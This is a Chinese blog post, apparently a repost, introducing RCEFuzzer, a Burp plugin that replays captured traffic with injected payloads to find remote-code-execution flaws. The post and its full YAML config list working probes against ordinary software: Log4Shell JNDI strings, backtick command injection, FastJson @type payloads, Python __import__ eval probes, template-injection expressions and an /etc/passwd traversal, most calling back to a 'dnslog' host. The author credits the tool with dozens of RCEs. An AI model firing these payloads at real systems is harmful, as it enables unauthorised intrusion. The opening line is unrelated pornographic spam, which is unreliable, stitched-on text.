午夜视频在线网站,日韩视频精品在线,中文字幕精品一区二区三区在线,在线播放精品,1024你懂我懂的旧版人,欧美日韩一级黄色片,一区二区三区在线观看视频

分享

RCEFuzzer - 被動(dòng)掃描與fuzz上一些思路的實(shí)現(xiàn)

 沖天香陣 2023-12-29 發(fā)布于甘肅

寫在前面

圖片

1. 這是大概三年前的版本,基本已經(jīng)停止維護(hù),除非嚴(yán)重 Bug 外不考慮更新。

2. 這個(gè)版本是以 Burp 插件的形式存在,新版本是獨(dú)立的系統(tǒng),僅在 JJ Team 開放使用。

3. 僅開放 Release 版本作為交流學(xué)習(xí)使用, jar 沒做混淆,實(shí)際上和放代碼差別不大,作為交流學(xué)習(xí)使用我認(rèn)為足夠了,拿著源代碼做細(xì)微調(diào)整意義不大,研究學(xué)習(xí)建議重構(gòu)。 

4. 歡迎交流學(xué)習(xí)~

01

工具地址

https://github.com/TheKingOfDuck/RCEFuzzer

02

基礎(chǔ)介紹

這是一個(gè)以 fuzz 為中心思想的被動(dòng)掃描工具,多數(shù)掃描器的工作邏輯是以已知漏洞去沖目標(biāo),然后根據(jù)條件判斷是否存在這個(gè)已知的漏洞;RCEFuzzer 的工作邏輯是以通用 payload 去污染目標(biāo)的參數(shù),然后根據(jù)條件判斷是否存在未知漏洞。

舉個(gè)例子,假設(shè)被動(dòng)收集到的流量是:

POST /sys/customer/list HTTP/1.1Host: www.baidu.comContent-Length: 23Content-Type: application/json;charset=UTF-8
{'key1':'value1','key2':'eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9','id':1,'isLogin':false,'key3':{'innerkey2':'{\'k3\':\'v3\'}'}}

如果配置了三條通用的 payload :

${jndi:ldap://dnslog/log4j}`whoami`.dnslog{'@type':'java.net.Inet4Address','val':'dnslog'}

那么 RCEFuzzer 的參數(shù)污染模塊將對(duì)目標(biāo)發(fā)起以下請(qǐng)求:

  • 污染 key1 的值然后分別發(fā)包

  • 污染 key2 的值然后分別發(fā)包

  • 嘗試自動(dòng)解碼 key2 ,并污染子 JSON 的 innerkey1 的值然后分別發(fā)包

  • 污染 key3 的值然后分別發(fā)包。

  • 污染 key3 的子 JSON 的 innerkey2 的值,然后分別發(fā)包。

  • 嘗試解析 innerkey2 ,并污染子JSON的 k3 的值然后分別發(fā)包

理論上總的請(qǐng)求量是 3*6=18 次。這僅是參數(shù)污染模塊,如果帶上其他模塊,那請(qǐng)求量可能是 50 。如果 payload 寫得多點(diǎn),原流量大一點(diǎn),那么可能是 5000 次。

流量過大注定他沒法在常規(guī)日站的場(chǎng)景使用,給目標(biāo)寫入一堆臟數(shù)據(jù),那就得不償失了。

對(duì)自己日常自己跑起來要挖洞的系統(tǒng),測(cè)試類環(huán)境的系統(tǒng)就無所謂。

03

資產(chǎn)去重

上面提到流量會(huì)非常大,選出需要污染的流量就尤為重要,降低掃描基數(shù),掃描流量也將大幅下降,那么在這個(gè)方向上我做了哪些嘗試呢:重點(diǎn)參考

https://blog./post/url-normalize-in-passive-scan/

除最基本的靜態(tài)資源去重外,這里面還提到了關(guān)于 urlpath 、 query 等的處理的思路,但是不夠完全,細(xì)心一點(diǎn)的會(huì)發(fā)現(xiàn)上文中提到的流量:

{'key1':'value1','key2':'eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9','id':1,'isLogin':false,'key3':{'innerkey2':'{\'k3\':\'v3\'}'}}

這里面的 id 和 isLogin 是沒有污染的,因?yàn)榇蟛糠趾蠖苏Z言都會(huì)定義好參數(shù)類型,對(duì)于整數(shù)型、布爾型的參數(shù)沒有太大污染的必要,徒增報(bào)錯(cuò)罷了,除此之外流量中常見 uuid 、hash 等常見格式的值也會(huì)跳過污染,進(jìn)一步縮減流量。

這里需要單獨(dú)再提一下,實(shí)踐中有很多確認(rèn)是重復(fù)的,比如:

/order/S09834FVD/order/S07C34FDCCVX

顯然兩條流量對(duì)應(yīng)了同一后端,是重復(fù)的,沒必要都掃,但他沒有像 uuid 或 md5 一樣的固定特征,正則沒法解決,看到一些同行的解決方案是上大模型去識(shí)別,頗有種工作飽和了沒事干的感覺,本質(zhì)上是區(qū)分文本是否為隨機(jī)的,即將文本分為是否隨機(jī)兩種類型,業(yè)界有非常多成熟的文本分類模型訓(xùn)練教程,現(xiàn)成的模型,不用 GPU 就可以快速解決問題。

04

掃描模塊

開放的版本中功能覆蓋的有限,僅簡單介紹一些思路。核心邏輯是遞歸追加/替換污染,對(duì)嵌套的 from-data 、json 、xml 、soap 等進(jìn)行自動(dòng)解碼、污染、再編碼。

JSON 污染

對(duì) JSON 污染我個(gè)人理解分為以下兩類:

  1. 鍵值污染:對(duì)于字符串類型的鍵值進(jìn)行增加或替換的污染,除了污染成正常的資產(chǎn) payload 之外,還可污染成 python 的結(jié)構(gòu)體。

  2. 替換污染:對(duì)整個(gè) JSON 進(jìn)行替換,換成指定的 payload ,這里主要針對(duì) FastJson 這樣的漏洞。

具體一點(diǎn)的例子:

{'innerkey1':'innervalue1'}

可以污染成:

{'innerkey1':__import__('socket').gethostbyaddr('dnslog')} {'innerkey1':'${jndi:ldap://dnslog/jsonkey}'} {'innerkey1':'innervalue1','@type':'java.net.Inet4Address','val':'dnslog'} {'innerkey1':{'@type':'java.net.Inet4Address','val':'dnslog'}} {'@type':'java.net.Inet4Address','val':'dnslog'}

幾種漏洞類型都挺常見的。

header 污染

和JSON污染一樣:

  • 鍵值污染:對(duì) header 鍵值進(jìn)行增加或替換的污染。

  • 替換污染:對(duì)所有 header 的鍵值污染成指定 payload 。

舉個(gè)例子:

GET / HTTP/1.1Host: www.baidu.comAccept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36Connection: closeCache-Control: max-age=0

可以污染成

GET / HTTP/1.1Host: www.baidu.comAccept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: ${jndi:ldap://dnslog/jsonkey}Connection: closeCache-Control: max-age=0X-Forwarded-For: `whoami`.dnslogX-Api-Version: ${jndi:dns://dnslog/456}

像 Host 、Connection 、Content-Type 這類 header 應(yīng)該跳過污染,避免對(duì)請(qǐng)求本身造成影響,一次性替換全部 header 的鍵值這種純粹是為了 log4j 這種 payload 打過去省事,暴力出奇跡。

參數(shù)污染

JSON 場(chǎng)景下一般就嵌套下轉(zhuǎn)義后或編碼后的 JSON ,但 form-data 表單中有非常多出現(xiàn)嵌套其他類型數(shù)據(jù)的情況,比如參數(shù)中嵌套 JSON ,嵌套 XML ,從某些 OA 中能夠看出研發(fā)為了兼容做的不少 ?? 事。

同樣分為兩種模式:

  • 替換污染:常規(guī)的命令注入、SQL 注入等等

  • 追加污染:后端帶判斷類的,如校驗(yàn)傳入值包含指定字符串時(shí),追加模式將會(huì)非常管用。

還是舉個(gè)例子:

https://www.baidu.com/admin/load?host=127.0.0.1&config=eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9

可以污染成:

https://www.baidu.com/admin/load?host=dnslog&config=eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9https://www.baidu.com/admin/load?host=127.0.0.1@dnslog&config=eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9https://www.baidu.com/admin/load?host=127.0.0.1&config=eyJpbm5lcmtleTEiOiJgd2hvYW1pYC5kbnNsb2cifQ==...

為什么要做追加模式在第二個(gè) case 中就可以看出。

SSRF

代碼抄自:

https://github.com/ethicalhackingplayground/ssrf-king

作者基本覆蓋了常見代碼產(chǎn)生的 SSRF 和配置錯(cuò)誤導(dǎo)致的 SSRF ,非常受用。這里只是封裝了嵌套解析,其他改動(dòng)不大。

其他模塊

還有很多了其他模塊,如響應(yīng)匹配、文件上傳污染、SOAP 請(qǐng)求污染等,但并未在該版本中實(shí)現(xiàn),不再一一介紹。

05

使用技巧

需要有配套的dnslog:

https://admin./logs?token=xxxxxx&type=dns&q=KEYhttps://admin./logs?token=xxxxxx&type=http&q=KEY

KEY 是占位符,不能改動(dòng) 其他無所謂。

配置文件如下:

##### 配置說明:#    1.tweb的配置是必須要改的, 不改顯示不了漏洞#    2.白名單的優(yōu)先級(jí)是高于黑名單的#    3.所有配置都是可以動(dòng)態(tài)改的, 不用重新加載插件# 使用說明:#    https://www.wolai.com/gS5UWgMmHG4ynJQgzL3AYk###config:  version: |  # 插件版本    0.5  twebdomain: | # tweb 子域名配置    xxx.xx.com  twebapi: |  # tweb api配置 其中KEY為展位符,在新舊版本的tweb均可在Profile頁面找到    https://admin./logs?token=xxxxxx&type=dns&q=KEY  timeout: |  # 掃描過程中的超時(shí)配置 非tweb請(qǐng)求超時(shí)設(shè)置 單位毫秒 6000060    60000  hostBlacklistReg: |  # 禁止掃描的域名列表    (. ?)(gov\.cn|edu\.cn|tweb|google|gstatic)(. ?)  extBlacklist: |  # 禁止掃描的后綴列表,這不是正則,本來想從passive-scan-client中抄代碼的,結(jié)果發(fā)現(xiàn)他有bug...    .js|.css|.jpeg|.gif|.jpg|.png|.pdf|.rar|.zip|.docx|.doc|.ico
jsonPollution:  status:  #on為開啟 off為關(guān)閉    on  allin: | #替換整個(gè)json數(shù)據(jù)包    {'@type':'java.net.Inet4Address','val':'dnslog'}  value: | #僅污染json的鍵值 為了python eval那種情況考慮 不加雙引號(hào)包裹的話污染結(jié)果類似{'test':__import__('os')} {'test':'{\'dtaa\':__import__('os')}'}    '${jndi:ldap://dnslog/jsonkey}'    __import__('socket').gethostbyaddr('dnslog')
paramPollution:  status: #on為開啟 off為關(guān)閉    on  exprs: | #為了兼容有回顯的表達(dá)式注入/代碼執(zhí)行漏洞    {{9527*2333}}|22226491    ${T(java.lang.System).getenv()}|JAVA_HOME    ${T (java.lang.System).getenv()}|JAVA_HOME    {php}var_dump(md5(9527));{/php}|52569c045dc348f12dfc4c85000ad832    {if var_dump(md5(9527))}{/if}|52569c045dc348f12dfc4c85000ad832    ../../../../../../../../../../../../../../../etc/passwd|root  value: |    dnslog    ${jndi:ldap://paramPollution.dnslog/log4j}    `whoami`.dnslog    http://dnslog/    ping -nc 1 dnslog
headerPollution:  status: #on為開啟 off為關(guān)閉    on  allin: | #一次性污染除了url和host外的所有請(qǐng)求頭    ${jndi:dns://dnslog/456}    ${jndi:ldap://dnslog/789} headers: | #添加的請(qǐng)求頭如果原數(shù)據(jù)包有則追加原值污染 無則添加后再發(fā)包 豎線|為key和value的分隔符號(hào)。    X-Forwarded-For|${jndi:dns://dnslog/456}    X-Api-Version|${jndi:dns://dnslog/456}
ssrfPollution:  status: #on為開啟 off為關(guān)閉    on
responseMatch:  status: #on為開啟 off為關(guān)閉    off  expr: | #添加的請(qǐng)求頭如果原數(shù)據(jù)包有則覆蓋原值污染 無則添加后再發(fā)包    thinkphp:error

參數(shù)污染中 exprs 部分的配置以 | 作為切割,區(qū)分請(qǐng)求和響應(yīng),用于回顯漏洞的檢測(cè)。tweb 處配置 dnslog 的子域名和 api 查詢的 url 即可。

06

寫在最后

RCEFuzzer 在實(shí)踐中直接或間接的為我貢獻(xiàn)了幾十個(gè)的 RCE ,不少系統(tǒng)通過點(diǎn)點(diǎn)就可輕易收割漏洞點(diǎn),進(jìn)而撕開口子,拿到代碼,進(jìn)一步審計(jì)得到更有價(jià)值的洞,是生產(chǎn)漏洞的重要一環(huán),也希望能為各位貢獻(xiàn)新的RCE!

最后的最后,特別要提的是 RCEFuzzer 中不少思路都來源于 c26root (即大 6 老師)的指點(diǎn),大 6 老師才是真正的神,大 6 老師????!

    本站是提供個(gè)人知識(shí)管理的網(wǎng)絡(luò)存儲(chǔ)空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn)。請(qǐng)注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購買等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請(qǐng)點(diǎn)擊一鍵舉報(bào)。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

    0條評(píng)論

    發(fā)表

    請(qǐng)遵守用戶 評(píng)論公約

    類似文章 更多